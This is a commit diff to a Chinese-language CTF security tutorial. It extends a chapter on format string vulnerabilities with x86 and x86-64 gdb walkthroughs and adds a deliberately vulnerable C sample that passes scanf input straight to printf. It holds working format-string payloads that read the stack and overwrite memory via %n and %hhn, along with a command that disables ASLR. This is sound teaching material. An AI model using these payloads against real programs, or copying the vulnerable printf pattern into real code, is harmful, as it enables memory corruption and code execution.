fix writeup

2024-12-24 19:21:15 +07:00 · 2017-09-12 15:38:29 +08:00 · 2017-09-12 15:38:29 +08:00 · d761dc19fa
commit d761dc19fa
parent f40c2a69c7
6 changed files with 199 additions and 101 deletions
--- a/doc/3.3.1_format_string.md
+++ b/doc/3.3.1_format_string.md
@ -292,6 +292,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

 使程序崩溃只是验证漏洞的第一步，攻击者还可以利用格式化输出函数来获得内存的内容，为下一步漏洞利用做准备。我们已经知道了，格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长，而 `printf()` 函数的参数是以逆序被压入栈的，所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。

+下面的演示我们都使用下面的[源码](../src/Others/3.3.1_fmt_2.c)：
 ```c
 #include<stdio.h>
 void main() {
@ -303,7 +304,8 @@ void main() {
    printf("\n");
 }
 ```
-```
+```text
+# echo 0 > /proc/sys/kernel/randomize_va_space
 $ gcc -m32 -fno-stack-protector -no-pie fmt.c
 ```

@ -730,13 +732,13 @@ Continuing.
 void main() {
    int i;
    char str[] = "hello";
-    
+
    printf("%s %n\n", str, &i);
    printf("%d\n", i);
 }
 ```
 ```
-$ ./a.out 
+$ ./a.out
 hello
 6
 ```
@ -747,7 +749,7 @@ hello
 #include<stdio.h>
 void main() {
    int i;
-    
+
    printf("%10u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%.50u%n\n", 1, &i);
@ -757,7 +759,7 @@ void main() {
 }
 ```
 ```
-$ ./a.out 
+$ ./a.out
         1
 10
 00000000000000000000000000000000000000000000000001
@ -777,20 +779,20 @@ $ ./a.out

 还是我们一开始的程序，我们尝试将 `arg2` 的值更改为任意值（比如 `0x00000020`，十进制 32），在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`，那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`，其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址，占 4 字节，`%08x%08x` 表示两个 8 字符宽的十六进制数，占 16 字节，`%012d` 占 12 字节，三个部分加起来就占了 4+16+12=32 字节，即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分，和上面的内容一样，表示格式字符串的第 13 个参数，即写入 `0xffffd538` 的地方（`0xffffd564`），`printf()` 就是通过这个地址找到被覆盖的内容的：
 ```
-$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text 
-$ gdb -q a.out 
+$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
+$ gdb -q a.out
 Reading symbols from a.out...(no debugging symbols found)...done.
 gdb-peda$ b printf  
 Breakpoint 1 at 0x8048350
 gdb-peda$ r < text  
 [----------------------------------registers-----------------------------------]
-EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x1 
-EDX: 0xf7f9883c --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
 ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
 EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
 EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -806,12 +808,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
 No argument
 [------------------------------------stack-------------------------------------]
 0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
-0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 
-0008| 0xffffd534 --> 0x1 
-0012| 0xffffd538 --> 0x88888888 
-0016| 0xffffd53c --> 0xffffffff 
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
-0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
 [------------------------------------------------------------------------------]
 Legend: code, data, rodata, value
@ -827,12 +829,12 @@ gdb-peda$ finish
 Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
 [----------------------------------registers-----------------------------------]
 EAX: 0x20 (' ')
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x0 
-EDX: 0xf7f98830 --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
 ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
 EIP: 0x8048520 (<main+138>:     add    esp,0x20)
 EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
@ -847,9 +849,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x804852d <main+151>:        add    esp,0x10
 [------------------------------------stack-------------------------------------]
 0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
-0004| 0xffffd534 --> 0x1 
+0004| 0xffffd534 --> 0x1
 0008| 0xffffd538 --> 0x20 (' ')
-0012| 0xffffd53c --> 0xffffffff 
+0012| 0xffffd53c --> 0xffffffff
 0016| 0xffffd540 --> 0xffffd55a ("ABCD")
 0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
@ -869,20 +871,20 @@ gdb-peda$ x/20x $esp
 #### 覆盖任意地址内存
 也许已经有人发现了一个问题，使用上面覆盖内存的方法，值最小只能是 4，因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法，但是在实践中这样做基本都不会成功。再想一下，前面的输入中，地址都位于格式字符串之前，这样做真的有必要吗，能否将地址放在中间。我们来试一下，使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`，开头的 `AA` 占两个字节，即将地址赋值为 `2`，中间是 `%15$n` 占 5 个字节，这里不是 `%13$n`，因为地址被我们放在了后面，在格式字符串的第 15 个参数，后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节，刚好是两个参数的宽度，这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`，详细输出如下：
 ```
-$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text 
-$ gdb -q a.out 
+$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
+$ gdb -q a.out
 Reading symbols from a.out...(no debugging symbols found)...done.
 gdb-peda$ b printf  
 Breakpoint 1 at 0x8048350
 gdb-peda$ r < text  
 [----------------------------------registers-----------------------------------]
 EAX: 0xffffd564 ("AA%15$nA8\325\377\377")
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x1 
-EDX: 0xf7f9883c --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
 ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
 EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
 EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -899,9 +901,9 @@ No argument
 [------------------------------------stack-------------------------------------]
 0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
 0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
-0008| 0xffffd534 --> 0x1 
-0012| 0xffffd538 --> 0x88888888 
-0016| 0xffffd53c --> 0xffffffff 
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
 0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
@ -918,13 +920,13 @@ gdb-peda$ x/20x $esp
 gdb-peda$ finish
 Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
 [----------------------------------registers-----------------------------------]
-EAX: 0x7 
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x0 
-EDX: 0xf7f98830 --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
+EAX: 0x7
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
 ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
 EIP: 0x8048520 (<main+138>:     add    esp,0x20)
 EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
@ -939,9 +941,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x804852d <main+151>:        add    esp,0x10
 [------------------------------------stack-------------------------------------]
 0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
-0004| 0xffffd534 --> 0x1 
-0008| 0xffffd538 --> 0x2 
-0012| 0xffffd53c --> 0xffffffff 
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x2
+0012| 0xffffd53c --> 0xffffffff
 0016| 0xffffd540 --> 0xffffd55a ("ABCD")
 0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
@ -990,12 +992,12 @@ gdb-peda$ r
 AAAABBBBCCCCDDDD
 [----------------------------------registers-----------------------------------]
 EAX: 0xffffd564 ("AAAABBBBCCCCDDDD")
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x1 
-EDX: 0xf7f9883c --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
 ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
 EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
 EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -1012,9 +1014,9 @@ No argument
 [------------------------------------stack-------------------------------------]
 0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
 0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
-0008| 0xffffd534 --> 0x1 
-0012| 0xffffd538 --> 0x88888888 
-0016| 0xffffd53c --> 0xffffffff 
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
 0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
@ -1044,20 +1046,20 @@ $ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x
 ```
 其中前四个部分是 4 个写入地址，占 4*4=16 字节，后面四个部分分别用于写入十六进制数，由于使用了 `hh`，所以只会保留一个字节 `0x78`（16+104=120 -> 0x56）、`0x56`（120+222=342 -> 0x0156 -> 56）、`0x34`（342+222=564 -> 0x0234 -> 0x34）、`0x12`（564+222=786 -> 0x312 -> 0x12）。执行结果如下：
 ```
-$ gdb -q a.out 
+$ gdb -q a.out
 Reading symbols from a.out...(no debugging symbols found)...done.
 gdb-peda$ b printf  
 Breakpoint 1 at 0x8048350
 gdb-peda$ r < text  
 Starting program: /home/firmy/Desktop/RE4B/a.out < text
 [----------------------------------registers-----------------------------------]
-EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x1 
-EDX: 0xf7f9883c --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
 ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
 EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
 EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -1073,12 +1075,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
 No argument
 [------------------------------------stack-------------------------------------]
 0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
-0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 
-0008| 0xffffd534 --> 0x1 
-0012| 0xffffd538 --> 0x88888888 
-0016| 0xffffd53c --> 0xffffffff 
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
-0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
 [------------------------------------------------------------------------------]
 Legend: code, data, rodata, value
@ -1093,14 +1095,14 @@ gdb-peda$ x/20x $esp
 gdb-peda$ finish
 Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
 [----------------------------------registers-----------------------------------]
-EAX: 0x312 
-EBX: 0x804a000 --> 0x8049f14 --> 0x1 
-ECX: 0x0 
-EDX: 0xf7f98830 --> 0x0 
-ESI: 0xf7f96e68 --> 0x1bad90 
-EDI: 0x0 
-EBP: 0xffffd5f8 --> 0x0 
-ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 
+EAX: 0x312
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
 EIP: 0x8048520 (<main+138>:     add    esp,0x20)
 EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
 [-------------------------------------code-------------------------------------]
@ -1113,12 +1115,12 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x8048528 <main+146>:        call   0x8048370 <putchar@plt>
   0x804852d <main+151>:        add    esp,0x10
 [------------------------------------stack-------------------------------------]
-0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 
-0004| 0xffffd534 --> 0x1 
-0008| 0xffffd538 --> 0x12345678 
-0012| 0xffffd53c --> 0xffffffff 
+0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x12345678
+0012| 0xffffd53c --> 0xffffffff
 0016| 0xffffd540 --> 0xffffd55a ("ABCD")
-0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 
+0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
 0028| 0xffffd54c --> 0x80484b0 (<main+26>:      add    ebx,0x1b50)
 [------------------------------------------------------------------------------]
@ -1132,8 +1134,78 @@ gdb-peda$ x/20x $esp
 0xffffd570:     0xffffd53b      0x34303125      0x33312563      0x6e686824
 ```

+最后还得强调两点：
+- 首先是需要关闭整个系统的 ASLR 保护，这可以保证栈在 gdb 环境中和直接运行中都保持不变，但这两个栈地址不一定相同
+- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的，所以我们需要结合格式化字符串漏洞读取内存，先泄露一个地址出来，然后根据泄露出来的地址计算实际地址
+

 ## x86-64 中的格式化字符串漏洞
+在 x64 体系中，多数调用惯例都是通过寄存器传递参数。在 Linux 上，前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递；而在 Windows 中，前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。
+
+还是上面的程序，但是这次我们把它编译成 64 位：
+```
+gcc -fno-stack-protector -no-pie fmt.c
+```
+使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入：
+```
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+RAX: 0x0
+RBX: 0x0
+RCX: 0xffffffff
+RDX: 0x88888888
+RSI: 0x1
+RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>:    push   r15)
+RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')
+RIP: 0x400648 (<main+113>:      call   0x4004e0 <printf@plt>)
+R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
+R9 : 0xa ('\n')
+R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')
+R11: 0x246
+R12: 0x400500 (<_start>:        xor    ebp,ebp)
+R13: 0x7fffffffe540 --> 0x1
+R14: 0x0
+R15: 0x0
+EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x40063d <main+102>: mov    r8,rdi
+   0x400640 <main+105>: mov    rdi,rax
+   0x400643 <main+108>: mov    eax,0x0
+=> 0x400648 <main+113>: call   0x4004e0 <printf@plt>
+   0x40064d <main+118>: mov    edi,0xa
+   0x400652 <main+123>: call   0x4004d0 <putchar@plt>
+   0x400657 <main+128>: nop
+   0x400658 <main+129>: leave
+Guessed arguments:
+arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
+[------------------------------------stack-------------------------------------]
+0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')
+0008| 0x7fffffffe3c8 --> 0x4443 ('CD')
+0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.")
+0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.")
+0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')
+0056| 0x7fffffffe3f8 --> 0x1
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x0000000000400648 in main ()
+gdb-peda$ x/10g $rsp
+0x7fffffffe3c0: 0x4241000000000000      0x0000000000004443
+0x7fffffffe3d0: 0x4141414141414141      0x70252e70252e7025
+0x7fffffffe3e0: 0x252e70252e70252e      0x2e70252e70252e70
+0x7fffffffe3f0: 0x00002e70252e7025      0x0000000000000001
+0x7fffffffe400: 0x0000000000f0b5ff      0x00000000000000c2
+gdb-peda$ c
+Continuing.
+AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
+```
+可以看到我们最后的输出中，前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`，后面的数字才取自栈，`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意，我们前面说的 Linux 有 6 个寄存器用于传递参数，可是这里只输出了 5 个，原因是有一个寄存器 `RDI` 被用于传递格式字符串，可以从 gdb 中看到，`arg[0]` 就是由 `RDI` 传递的格式字符串。（现在你可以再回到 x86 的相关内容，可以看到在 x86 中格式字符串通过栈传递的，但是同样的也不会被打印出来）其他的操作和 x86 没有什么大的区别，只是这时我们就不能修改 `arg2` 的值了，因为它被存入了寄存器中。


 ## CTF 中的格式化字符串漏洞
@ -1322,6 +1394,10 @@ hacked!
 这样我们就获得了 shell，可以看到输出的信息和我们手工得到的信息完全相同。


-
-# 扩展阅读
+## 扩展阅读
 [Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
+
+
+## 练习
+- [**pwn** - UIUCTF 2017 - goodluck - 200](../src/Pwn/3.3.1_goodluck_200)
+- [**Pwn** - NJCTF 2017 - pingme - 200](../src/Pwn/3.3.1_pingme_200)
--- a/doc/5.2_pin.md
+++ b/doc/5.2_pin.md
@ -419,10 +419,10 @@ Count 152786
 - [pintool2](https://github.com/sebastiendamaye/pintool2)

 #### 练习
- [Baleful - picoCTF 2014](../src/Reverse/5.2_baleful)
- [Reverse 400 - Hack You 2014](../src/Reverse/5.2_reverse_400)
- [wyvern 500 - CSAW CTF 2015](../src/Reverse/5.2_wyvern_500)
- [rev100 - th3jackers CTF 2015](../src/Reverse/5.2_th3jackers_100)
+- [**RE** - picoCTF 2014 - Baleful](../src/Reverse/5.2_baleful)
+- [**RE** - Hack You 2014 - reverse - 400](../src/Reverse/5.2_reverse_400)
+- [**RE** - CSAW CTF 2015 - wyvern - 500](../src/Reverse/5.2_wyvern_500)
+- [**RE** - th3jackers CTF 2015 - rev100 - 100](../src/Reverse/5.2_th3jackers_100)


 ## 扩展：Triton
--- a/doc/6.4_writeup.md
+++ b/doc/6.4_writeup.md
@ -30,6 +30,10 @@
  - [3.1 Reverse]()
  - [3.2 Crypto]()
  - [3.3 Pwn]()
+    - [3.3.1 格式化字符串漏洞](#331-格式化字符串漏洞)
+    - [3.3.2 整数溢出]()
+    - [3.3.3 栈溢出]()
+    - [3.3.4 堆溢出]()
  - [3.4 Web]()
  - [3.5 Misc]()
  - [3.6 Mobile]()
@ -37,44 +41,53 @@
  - [4.1 AWD模式]()
  - [4.2 Linux 命令行技巧]()
  - [4.3 GCC 堆栈保护技术]()
+  - [4.4 使用 DynELF 泄露函数地址]()
 - [五、高级篇]()
  - [5.1 Fuzz 测试]()
  - [5.2 Pin 动态二进制插桩](#52-Pin-动态二进制插桩)
  - [5.3 angr 二进制自动化分析]()
  - [5.4 反调试技术]()
+  - [5.5 符号执行]()
+  - [5.6 LLVM]()
 - [六、附录]()
  - [6.1 更多 Linux 工具](#61-更多-linux-工具)
  - [6.2 更多 Windows 工具]()


+## 3.3.1 格式化字符串漏洞
+#### **pwn** - UIUCTF 2017 - goodluck - 200
+
+#### **Pwn** - NJCTF 2017 - pingme - 200
+
+
 ## 5.2 Pin 动态二进制插桩
-#### Baleful - picoCTF 2014
+#### **RE** - picoCTF 2014 - Baleful

-#### Reverse 400 - Hack You 2014
+#### **RE** - Hack You 2014 - reverse - 400

-#### wyvern 500 - CSAW CTF 2015
+#### **RE** - CSAW CTF 2015 - wyvern - 500

-#### rev100 - th3jackers CTF 2015
+#### **RE** - th3jackers CTF 2015 - rev100 - 100


 ## 6.1 更多 Linux 工具
 #### Strings - strings_crackme
 ```text
-[firmy@Reverse]$ strings -e L strings_crackme
+$ strings -e L strings_crackme
 w0wgreat
 ```

-#### Strings - flag_pwnablekr
+#### **Pwn** - Strings - flag_pwnablekr
 ```text
-[firmy@Reverse]$ ./flag_pwnablekr
+$ ./flag_pwnablekr
 I will malloc() and strcpy the flag there. take it.
-[firmy@Reverse]$ strings flag_pwnablekr | grep UPX
+$ strings flag_pwnablekr | grep UPX
 UPX!
 $Info: This file is packed with the UPX executable packer http://upx.sf.net $
 $Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
 UPX!
 UPX!
-[firmy@Reverse]$ upx -d flag_pwnablekr
+$ upx -d flag_pwnablekr
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
 UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017
@ -82,19 +95,19 @@ UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017
   --------------------   ------   -----------   -----------
    883745 <-    335288   37.94%   linux/amd64   flag_pwnablekr
 Unpacked 1 file.
-[firmy@Reverse]$ strings flag_pwnablekr | grep -i upx
+$ strings flag_pwnablekr | grep -i upx
 UPX...? sounds like a delivery service :)
 ```

 #### xxd - xxd_crackme
 ```text
-[firmy@Reverse]$ xxd -g1 xxd_crackme
+$ xxd -g1 xxd_crackme
 ......
 00001020: 00 00 00 00 67 30 30 64 4a 30 42 21 00 00 00 00  ....g00dJ0B!....
 ......
 ```
 ```text
-[firmy@Reverse]$ strings -d xxd_crackme
+$ strings -d xxd_crackme
 ......
 g00dJ0B!
 ......
--- a/src/Others/3.3.1_fmt_2.c
+++ b/src/Others/3.3.1_fmt_2.c
@ -0,0 +1,9 @@
+#include<stdio.h>
+void main() {
+    char format[128];
+    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
+    char arg4[10] = "ABCD";
+    scanf("%s", format);
+    printf(format, arg1, arg2, arg3, arg4);
+    printf("\n");
+}
--- a/src/Pwn/3.3.1_goodlock_200
+++ b/src/Pwn/3.3.1_goodlock_200
--- a/src/Pwn/3.3.1_pingme_200
+++ b/src/Pwn/3.3.1_pingme_200